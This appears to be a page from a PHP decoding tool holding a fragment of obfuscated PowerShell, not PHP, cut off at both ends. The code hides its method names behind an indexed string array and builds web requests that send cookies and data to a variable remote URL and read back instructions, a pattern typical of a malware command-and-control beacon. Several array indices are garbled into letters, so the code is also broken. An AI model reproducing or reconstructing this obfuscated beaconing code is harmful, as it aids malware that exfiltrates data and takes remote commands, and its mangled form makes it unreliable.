PHP Decode

<?  $k3=[System.Text.Encoding]::ASCII.($z[25])("$s6=$ep$y6");$b4=[System.Net.WebRequest]::($z[p4])($l8);$b4.($z[p2])=$k0;$b4.($z[3])=$i6;$b4.($z[4])=0;$b4.Headers.Add(($z[38])+$o5);$b4.Headers.Add(($z[p5]));$b4.Headers.Add(($z[26]));$b4.Headers.Add(($z[4p]));$b4.($z[28])=($z[23]);$b4.($z[p8])=($z[36]);$b4.($z[45])=$k3.($z[37]);$xp=$b4.($z[p9])();$xp.write($k3,0,$k3.($z[37]));$xp.flush();$xp.close();try{$hp=$b4.($z[40])();$u0=$hp.($z[44])();$n7=new-object ($z[39]) $u0;$wp=$n7.($z[33])();}Catch{}}}else{$b4=[System.Net.WebRequest]::($z[p4])($l8);$b4.($z[p2])=$k0;$b4.($z[3])=$i6;$b4.($z[4])=0;$b4.Headers.Add("Cookie: $o5");$b4.Headers.Add(($z[p5]));$b4.Headers.Add(($z[26]));$b4.Headers.Add(($z[4p]));$b4.($z[28])=''GET'';try{$hp=$b4.($z[40])();$u0=$hp.($z[44])();$n7=new-object ($z[39]) $u0;$wp=$n7.($z[33])();}Catch{}}$o9=$wp -split $s6;if($o9.($z[29]) -eq 3){$x3=p7($o9[p])}else{$x3=""}$x3;}function u8($z3, $kp){$x7=[Convert]::($z[32])([Text.Encoding]::($z[pp]).($z[25])($kp));$c0=$global:p2;$x7=($z[2p])+$c0+($z[p])+$x7+($z[2]) ?>